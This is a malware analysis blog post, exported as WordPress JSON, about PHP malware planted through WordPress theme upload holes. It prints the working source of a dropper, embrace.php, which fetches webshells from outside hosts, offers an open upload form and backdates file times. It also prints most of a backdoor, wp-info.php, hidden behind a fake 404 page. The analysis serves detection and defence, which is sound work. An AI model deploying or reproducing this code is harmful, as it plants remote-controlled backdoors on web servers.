{"id":2675,"date":"2017-03-31T11:49:58","date_gmt":"2017-03-31T08:49:58","guid":{"rendered":"https:\/\/malware.expert\/?p=2675"},"modified":"2017-03-20T11:50:15","modified_gmt":"2017-03-20T08:50:15","slug":"wp-info-php","status":"publish","type":"post","link":"https:\/\/malware.expert\/malware\/wp-info-php\/","title":{"rendered":"wp-info.php"},"content":{"rendered":"<p>In WordPress themes there are lots of file upload vulnerabilities.<\/p>\n<p>This trying upload embrace.php file to server and execute it<\/p>\n<h3>embrace.php<\/h3>\n<pre class=\"brush: php; title: ; notranslate\" title=\"\">\r\nerror_reporting(-1);\r\nfunction fetch_url($url) {\r\n    $contents = false;\r\n    $errs = 0;\r\n    while ( !$contents &amp;&amp; ($errs++ &lt; 3) )\r\n    {\r\n        $user_agent = 'Mozilla\/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko\/20100101 Firefox\/43.1';\r\n        if (extension_loaded('curl') &amp;&amp; function_exists('curl_init')) {\r\n            $c = curl_init($url);\r\n            curl_setopt($c, CURLOPT_FOLLOWLOCATION, TRUE);\r\n            curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);\r\n            curl_setopt($c, CURLOPT_USERAGENT,$user_agent);\r\n            $contents = curl_exec($c);\r\n            if (curl_getinfo($c, CURLINFO_HTTP_CODE) !== 200) $contents = false;\r\n            curl_close($c);\r\n        } else\r\n        {\r\n            $options  = array('http' =&gt; array('user_agent' =&gt; $user_agent));\r\n            $context  = stream_context_create($options);\r\n            $contents = @file_get_contents($url, false, $context);                \r\n        }\r\n    }\r\n    return $contents;\r\n}\r\n$test=$_SERVER&#x5B;'DOCUMENT_ROOT'];\r\nif(isset($_REQUEST&#x5B;'doit'])){\r\nif (file_exists(&quot;$test\/wp-info.php&quot;)){\r\necho &quot;Teddy already in place&quot;;\r\n}\r\nelse{\r\n$link = fetch_url(&quot;http:\/\/www.wayiview.com\/license.txt&quot;);\r\nfile_put_contents(&quot;$test\/wp-info.php&quot;, $link);\r\necho &quot;Teddy-done&quot;;\r\n}\r\n}\r\nelseif(isset($_REQUEST&#x5B;'up'])){\r\nif(isset($_POST&#x5B;'Submit'])){\r\n    $filedir = &quot;&quot;; \r\n    $maxfile = '2888888';\r\n\r\n    $userfile_name = $_FILES&#x5B;'image']&#x5B;'name'];\r\n    $userfile_tmp = $_FILES&#x5B;'image']&#x5B;'tmp_name'];\r\n    if (isset($_FILES&#x5B;'image']&#x5B;'name'])) {\r\n        $abod = $filedir.$userfile_name;\r\n        @move_uploaded_file($userfile_tmp, $abod);\r\n  \r\necho&quot;&lt;center&gt;&lt;b&gt;Done ==&gt; &lt;a href='.\/$userfile_name'&gt;$userfile_name&lt;\/a&gt;&lt;\/b&gt;&lt;\/center&gt;&quot;;\r\n}\r\n}\r\nelse{\r\necho '&lt;b&gt;'.php_uname().'&lt;\/b&gt;';\r\necho'\r\n&lt;form method=&quot;POST&quot; action=&quot;&quot; enctype=&quot;multipart\/form-data&quot;&gt;&lt;input type=&quot;file&quot; name=&quot;image&quot;&gt;&lt;input type=&quot;Submit&quot; name=&quot;Submit&quot; value=&quot;Submit&quot;&gt;&lt;\/form&gt;';\r\n}\r\n}\r\nelseif(isset($_REQUEST&#x5B;'f3'])){\r\n$dom = array_rand(array_flip(array(&quot;ml&quot;, &quot;cf&quot;, &quot;ga&quot;, &quot;gq&quot;, &quot;cu.cc&quot;)), 1);\r\n$shname3 = uniqid();\r\n$f3 = fetch_url(&quot;http:\/\/comxvas.$dom\/3.txt&quot;);\r\n$shnam3 = (&quot;.\/$shname3.php&quot;);\r\nfile_put_contents($shnam3, $f3);\r\necho&quot;&lt;center&gt;&lt;b&gt;Done ==&gt; &lt;a href='.\/&quot;.$shname3.&quot;.php'&gt;&quot;.$shname3.&quot;.php&lt;\/a&gt;&lt;\/b&gt;&lt;\/center&gt;&quot;;\r\ntouch(&quot;.\/$shname3.php&quot;, time() - mt_rand(60*60*24*30, 60*60*24*365));\r\n}\r\nelse {\r\necho &quot;Teddy-is-here&quot;;\r\n}\r\n<\/pre>\n<h3>wp-info.php<\/h3>\n<p>This malware can infect more and more malwares to server and get full control it.<\/p>\n<pre class=\"brush: php; title: ; notranslate\" title=\"\">\r\nfunction fetch_url($url) {\r\n    $contents = false;\r\n    $errs = 0;\r\n    while ( !$contents &amp;&amp; ($errs++ &lt; 3) )\r\n    {\r\n        $user_agent = 'Mozilla\/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko\/20100101 Firefox\/43.1 googlebot';\r\n        if (extension_loaded('curl') &amp;&amp; function_exists('curl_init')) {\r\n            $c = curl_init($url);\r\n            curl_setopt($c, CURLOPT_FOLLOWLOCATION, TRUE);\r\n            curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);\r\n            curl_setopt($c, CURLOPT_USERAGENT,$user_agent);\r\n            $contents = curl_exec($c);\r\n            if (curl_getinfo($c, CURLINFO_HTTP_CODE) !== 200) $contents = false;\r\n            curl_close($c);\r\n        } else\r\n        {\r\n            $options  = array('http' =&gt; array('user_agent' =&gt; $user_agent));\r\n            $context  = stream_context_create($options);\r\n            $contents = @file_get_contents($url, false, $context);                \r\n        }\r\n    }\r\n    return $contents;\r\n}\r\nif(isset($_REQUEST&#x5B;'up'])){\r\nif(isset($_POST&#x5B;'Submit'])){\r\n.\r\n.\r\n.\r\n}\r\nelse{\r\necho &quot;&lt;!DOCTYPE HTML PUBLIC '-\/\/IETF\/\/DTD HTML 2.0\/\/EN'&gt;\r\n&lt;HTML&gt;&lt;HEAD&gt;\r\n&lt;TITLE&gt;404 Not Found&lt;\/TITLE&gt;\r\n&lt;\/HEAD&gt;&lt;BODY&gt;\r\n\r\n&lt;h1&gt;Not Found (404)&lt;\/h1&gt;\r\n\r\nThe requested URL &quot;;\r\necho $_SERVER&#x5B;'REQUEST_URI'];\r\necho &quot;\r\nwas not found on this server.\r\n&lt;hr&gt;\r\n\r\n&quot;;\r\necho $_SERVER&#x5B;'SERVER_NAME'];\r\n}\r\n<\/pre>\n<h2>Final words<\/h2>\n<p>Websites that using Malware Expert \u2013 <a href=\"https:\/\/malware.expert\/modsecurity-rules\/\">ModSecurity rules<\/a> are protected against this attack.<\/p>\n<p>Use Malware Expert &#8211; <a href=\"https:\/\/malware.expert\/signatures\/\">Signatures<\/a> detect this malware from files for FREE!<\/p>\n","protected":false},"excerpt":{"rendered":"<p>In WordPress themes there are lots of file upload vulnerabilities. This trying upload embrace.php file to server and execute it embrace.php error_reporting(-1); function fetch_url($url) { $contents = false; $errs = 0; while ( !$contents &amp;&amp; ($errs++ &lt; 3) ) { $user_agent = &#8216;Mozilla\/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko\/20100101 Firefox\/43.1&#8217;; if (extension_loaded(&#8216;curl&#8217;) &amp;&amp; function_exists(&#8216;curl_init&#8217;)) { &#8230; <a title=\"wp-info.php\" class=\"read-more\" href=\"https:\/\/malware.expert\/malware\/wp-info-php\/\" aria-label=\"Read more about wp-info.php\">Read more<\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[66],"tags":[202,55,23,201],"class_list":["post-2675","post","type-post","status-publish","format-standard","hentry","category-malware","tag-embrace-php","tag-malware","tag-php","tag-wp-info-php"],"yoast_head":"<!-- This site is optimized with the Yoast SEO Premium plugin v25.7.1 (Yoast SEO v26.6) - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>wp-info.php<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/malware.expert\/malware\/wp-info-php\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"wp-info.php\" \/>\n<meta property=\"og:description\" content=\"In WordPress themes there are lots of file upload vulnerabilities. This trying upload embrace.php file to server and execute it embrace.php error_reporting(-1); function fetch_url($url) { $contents = false; $errs = 0; while ( !$contents &amp;&amp; ($errs++ &lt; 3) ) { $user_agent = &#039;Mozilla\/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko\/20100101 Firefox\/43.1&#039;; if (extension_loaded(&#039;curl&#039;) &amp;&amp; function_exists(&#039;curl_init&#039;)) { ... Read more\" \/>\n<meta property=\"og:url\" content=\"https:\/\/malware.expert\/malware\/wp-info-php\/\" \/>\n<meta property=\"og:site_name\" content=\"Malware Expert\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/Malware.Expert\/\" \/>\n<meta property=\"article:published_time\" content=\"2017-03-31T08:49:58+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/malware.expert\/wp-content\/uploads\/2016\/06\/ModSecurity_feature_image.png\" \/>\n\t<meta property=\"og:image:width\" content=\"900\" \/>\n\t<meta property=\"og:image:height\" content=\"450\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/png\" \/>\n<meta name=\"author\" content=\"admin\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@Malware__Expert\" \/>\n<meta name=\"twitter:site\" content=\"@Malware__Expert\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"admin\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"3 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/malware.expert\/malware\/wp-info-php\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/malware.expert\/malware\/wp-info-php\/\"},\"author\":{\"name\":\"admin\",\"@id\":\"https:\/\/malware.expert\/#\/schema\/person\/1016f76dbc76823a9aba2ba8f14abfd3\"},\"headline\":\"wp-info.php\",\"datePublished\":\"2017-03-31T08:49:58+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/malware.expert\/malware\/wp-info-php\/\"},\"wordCount\":605,\"publisher\":{\"@id\":\"https:\/\/malware.expert\/#organization\"},\"keywords\":[\"embrace.php\",\"malware\",\"php\",\"wp-info.php\"],\"articleSection\":[\"malware\"],\"inLanguage\":\"en-US\"},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/malware.expert\/malware\/wp-info-php\/\",\"url\":\"https:\/\/malware.expert\/malware\/wp-info-php\/\",\"name\":\"wp-info.php\",\"isPartOf\":{\"@id\":\"https:\/\/malware.expert\/#website\"},\"datePublished\":\"2017-03-31T08:49:58+00:00\",\"breadcrumb\":{\"@id\":\"https:\/\/malware.expert\/malware\/wp-info-php\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/malware.expert\/malware\/wp-info-php\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/malware.expert\/malware\/wp-info-php\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\/\/malware.expert\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"malware\",\"item\":\"https:\/\/malware.expert\/category\/malware\/\"},{\"@type\":\"ListItem\",\"position\":3,\"name\":\"wp-info.php\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/malware.expert\/#website\",\"url\":\"https:\/\/malware.expert\/\",\"name\":\"Malware Expert\",\"description\":\"ModSecurity rules\",\"publisher\":{\"@id\":\"https:\/\/malware.expert\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/malware.expert\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\/\/malware.expert\/#organization\",\"name\":\"Malware Expert\",\"url\":\"https:\/\/malware.expert\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/malware.expert\/#\/schema\/logo\/image\/\",\"url\":\"https:\/\/malware.expert\/wp-content\/uploads\/2023\/08\/cropped-malware_express_header_logo.png\",\"contentUrl\":\"https:\/\/malware.expert\/wp-content\/uploads\/2023\/08\/cropped-malware_express_header_logo.png\",\"width\":408,\"height\":82,\"caption\":\"Malware Expert\"},\"image\":{\"@id\":\"https:\/\/malware.expert\/#\/schema\/logo\/image\/\"},\"sameAs\":[\"https:\/\/www.facebook.com\/Malware.Expert\/\",\"https:\/\/x.com\/Malware__Expert\"],\"publishingPrinciples\":\"https:\/\/malware.expert\/editorial-guidelines\/\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/malware.expert\/#\/schema\/person\/1016f76dbc76823a9aba2ba8f14abfd3\",\"name\":\"admin\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/malware.expert\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/secure.gravatar.com\/avatar\/76c5b003c7f6492ce413d3ad91151c1d648c58e54c5b360eeb19eec3562a0393?s=96&d=mm&r=g\",\"contentUrl\":\"https:\/\/secure.gravatar.com\/avatar\/76c5b003c7f6492ce413d3ad91151c1d648c58e54c5b360eeb19eec3562a0393?s=96&d=mm&r=g\",\"caption\":\"admin\"},\"sameAs\":[\"http:\/\/willberg.me\"],\"url\":\"https:\/\/malware.expert\/author\/admin\/\"}]}<\/script>\n<!-- \/ Yoast SEO Premium plugin. -->","yoast_head_json":{"title":"wp-info.php","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/malware.expert\/malware\/wp-info-php\/","og_locale":"en_US","og_type":"article","og_title":"wp-info.php","og_description":"In WordPress themes there are lots of file upload vulnerabilities. This trying upload embrace.php file to server and execute it embrace.php error_reporting(-1); function fetch_url($url) { $contents = false; $errs = 0; while ( !$contents &amp;&amp; ($errs++ &lt; 3) ) { $user_agent = 'Mozilla\/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko\/20100101 Firefox\/43.1'; if (extension_loaded('curl') &amp;&amp; function_exists('curl_init')) { ... Read more","og_url":"https:\/\/malware.expert\/malware\/wp-info-php\/","og_site_name":"Malware Expert","article_publisher":"https:\/\/www.facebook.com\/Malware.Expert\/","article_published_time":"2017-03-31T08:49:58+00:00","og_image":[{"width":900,"height":450,"url":"https:\/\/malware.expert\/wp-content\/uploads\/2016\/06\/ModSecurity_feature_image.png","type":"image\/png"}],"author":"admin","twitter_card":"summary_large_image","twitter_creator":"@Malware__Expert","twitter_site":"@Malware__Expert","twitter_misc":{"Written by":"admin","Est. reading time":"3 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/malware.expert\/malware\/wp-info-php\/#article","isPartOf":{"@id":"https:\/\/malware.expert\/malware\/wp-info-php\/"},"author":{"name":"admin","@id":"https:\/\/malware.expert\/#\/schema\/person\/1016f76dbc76823a9aba2ba8f14abfd3"},"headline":"wp-info.php","datePublished":"2017-03-31T08:49:58+00:00","mainEntityOfPage":{"@id":"https:\/\/malware.expert\/malware\/wp-info-php\/"},"wordCount":605,"publisher":{"@id":"https:\/\/malware.expert\/#organization"},"keywords":["embrace.php","malware","php","wp-info.php"],"articleSection":["malware"],"inLanguage":"en-US"},{"@type":"WebPage","@id":"https:\/\/malware.expert\/malware\/wp-info-php\/","url":"https:\/\/malware.expert\/malware\/wp-info-php\/","name":"wp-info.php","isPartOf":{"@id":"https:\/\/malware.expert\/#website"},"datePublished":"2017-03-31T08:49:58+00:00","breadcrumb":{"@id":"https:\/\/malware.expert\/malware\/wp-info-php\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/malware.expert\/malware\/wp-info-php\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/malware.expert\/malware\/wp-info-php\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/malware.expert\/"},{"@type":"ListItem","position":2,"name":"malware","item":"https:\/\/malware.expert\/category\/malware\/"},{"@type":"ListItem","position":3,"name":"wp-info.php"}]},{"@type":"WebSite","@id":"https:\/\/malware.expert\/#website","url":"https:\/\/malware.expert\/","name":"Malware Expert","description":"ModSecurity rules","publisher":{"@id":"https:\/\/malware.expert\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/malware.expert\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/malware.expert\/#organization","name":"Malware Expert","url":"https:\/\/malware.expert\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/malware.expert\/#\/schema\/logo\/image\/","url":"https:\/\/malware.expert\/wp-content\/uploads\/2023\/08\/cropped-malware_express_header_logo.png","contentUrl":"https:\/\/malware.expert\/wp-content\/uploads\/2023\/08\/cropped-malware_express_header_logo.png","width":408,"height":82,"caption":"Malware Expert"},"image":{"@id":"https:\/\/malware.expert\/#\/schema\/logo\/image\/"},"sameAs":["https:\/\/www.facebook.com\/Malware.Expert\/","https:\/\/x.com\/Malware__Expert"],"publishingPrinciples":"https:\/\/malware.expert\/editorial-guidelines\/"},{"@type":"Person","@id":"https:\/\/malware.expert\/#\/schema\/person\/1016f76dbc76823a9aba2ba8f14abfd3","name":"admin","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/malware.expert\/#\/schema\/person\/image\/","url":"https:\/\/secure.gravatar.com\/avatar\/76c5b003c7f6492ce413d3ad91151c1d648c58e54c5b360eeb19eec3562a0393?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/76c5b003c7f6492ce413d3ad91151c1d648c58e54c5b360eeb19eec3562a0393?s=96&d=mm&r=g","caption":"admin"},"sameAs":["http:\/\/willberg.me"],"url":"https:\/\/malware.expert\/author\/admin\/"}]}},"_links":{"self":[{"href":"https:\/\/malware.expert\/wp-json\/wp\/v2\/posts\/2675","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/malware.expert\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/malware.expert\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/malware.expert\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/malware.expert\/wp-json\/wp\/v2\/comments?post=2675"}],"version-history":[{"count":5,"href":"https:\/\/malware.expert\/wp-json\/wp\/v2\/posts\/2675\/revisions"}],"predecessor-version":[{"id":2684,"href":"https:\/\/malware.expert\/wp-json\/wp\/v2\/posts\/2675\/revisions\/2684"}],"wp:attachment":[{"href":"https:\/\/malware.expert\/wp-json\/wp\/v2\/media?parent=2675"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/malware.expert\/wp-json\/wp\/v2\/categories?post=2675"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/malware.expert\/wp-json\/wp\/v2\/tags?post=2675"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}